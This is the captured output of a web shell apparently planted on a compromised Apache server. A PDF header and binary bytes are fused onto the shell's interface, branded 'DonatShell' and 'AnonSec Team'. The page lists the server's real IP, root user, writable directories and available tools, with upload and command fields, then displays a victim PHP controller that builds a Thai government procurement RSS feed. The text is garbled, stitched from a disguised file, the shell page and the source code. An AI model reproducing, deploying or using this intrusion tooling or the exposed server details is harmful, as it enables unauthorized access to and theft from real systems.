%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.248
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/egp/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/egp/controllers/EgpController_1.php
<?php

namespace app\controllers;

use Yii;
use yii\helpers\Url;
use app\models\TblEgp;
use yii\data\ActiveDataProvider;
use Zend\Feed\Writer\Feed;
use app\models\TblEgpSearch;
use app\models\TblCategory;
class EgpController extends \yii\web\Controller {

    public function actionRss() {
//        $dataProvider = new ActiveDataProvider([
//            'query' => TblEgp::find(),
//            'pagination' => [
//                'pageSize' => 20
//            ],
//        ]);
        $searchModel = new TblEgpSearch();
        $dataProvider = $searchModel->search(Yii::$app->request->queryParams);
        $dataProvider->pagination = ['pageSize' => 20];
        $dataProvider->sort = [
            'defaultOrder' => [
                'date' => SORT_DESC,
            ]
        ];
//        $response = Yii::$app->getResponse();
//        $headers = $response->getHeaders();
//        $headers->set('Content-Type', 'application/rss+xml; charset=utf-8');
//        \Yii::$app->response->getHeaders()->set('Content-Type', 'application/rss+xml');
        \Yii::$app->response->format = \yii\web\Response::FORMAT_XML;

//        \Yii::$app->response->format = \yii\web\Response::FORMAT_RAW;
//        $headers = \Yii::$app->response->headers;
//        $headers->add('Content-Type', 'text/xml');
//        $response = Yii::$app->getResponse();
//        $headers = $response->getHeaders(); 
//        $headers->set('Content-Type', 'application/rss+xml; charset=utf-8');
        \Yii::$app->response->getHeaders()->set('Content-Type', 'application/rss+xml; charset=utf-8');


        $xml = \Zelenin\yii\extensions\Rss\RssView::widget([
                    'dataProvider' => $dataProvider,
                    'channel' => [
                        'title' => function ($widget, \Zelenin\Feed $feed) {
                            return 'ระบบจัดซื้อจัดจ้างภาครัฐ';
                        },
                        'description' => ' ',
                        'link' => Url::toRoute('/', true),
                    ],
                    'items' => [
                        'title' => function ($model, $widget, \Zelenin\Feed $feed) {
                            return $model->egp_title;
                        },
                        'description' => function ($model, $widget, \Zelenin\Feed $feed) {
                            $rows = TblCategory::find()->where(['cat_id' => $model->cat_id])->one();
                            return $rows->cat_name;
                        },
                        'link' => function ($model, $widget, \Zelenin\Feed $feed) {
                            return $model->egp_detail;
                        },
                        'cat' => function ($model, $widget, \Zelenin\Feed $feed) {
                            return $model->cat_id;
                        },
                        'pubDate' => function ($model, $widget, \Zelenin\Feed $feed) {
                            return $model->date;
                        },
                    ]
        ]);
        return $xml;
    }

    public function actionIndex($cat_id) {

        return $this->render('index', [
                    'cat_id' => $cat_id,
        ]);
    }

    public function actionRefresh() {
        $depid = "2650101";
        $aType = array('P0', '15', 'B0', 'D0', 'W0', 'D1', 'W1', 'D2', 'W2');
        $aCat = array(1, 2, 3, 4, 5, 6, 7, 8, 9); //รหัสหมวดหมู่ สำหรับแยกประเภทประกาศ anounceType
        date_default_timezone_set('Asia/Bangkok');

        $begintime1 = strtotime("12:01:01");
        $endtime1 = strtotime("12:59:00");

        $begintime2 = strtotime("17:01:01");
        $endtime2 = strtotime("24:00:00");

        $begintime3 = strtotime("00:00:01");
        $endtime3 = strtotime("08:59:59");

        $now = time();
        if (($now >= $begintime1 && $now <= $endtime1) || ($now >= $begintime2 && $now <= $endtime2) || ($now >= $begintime3 && $now <= $endtime3)) {
            $i = 0;
            foreach ($aType as $newsType) {
                $url = "http://process3.gprocurement.go.th/EPROCRssFeedWeb/egpannouncerss.xml?deptId=" . $depid . "&anounceType=" . $newsType;
                libxml_use_internal_errors(true);
                $doc = simplexml_load_string(file_get_contents($url));
                if ($doc === false) {
                    libxml_clear_errors();
                    libxml_use_internal_errors($doc);
                } else {
                    $items = $doc->xpath("/rss/channel/item");
                    foreach ($items as $item) {

//ตรวจสอบข่าวที่มีอยู่แล้ว
                        $rows = TblEgp::find()->where(['egp_detail' => $item->link])->andWhere(['cat_id' => $aCat[$i]])->count();
                        if ($rows == 0) {
                            $model = new TblEgp();
                            $model->egp_title = $item->title;
                            $model->egp_detail = $item->link;
                            $model->cat_id = $aCat[$i];
                            $model->date = $item->pubDate;
                            $model->save(false);
                        }
                    }
                    $i++;
                }
            }
        }
        return $this->render('/site/index');
    }

}

Anon7 - 2022
AnonSec Team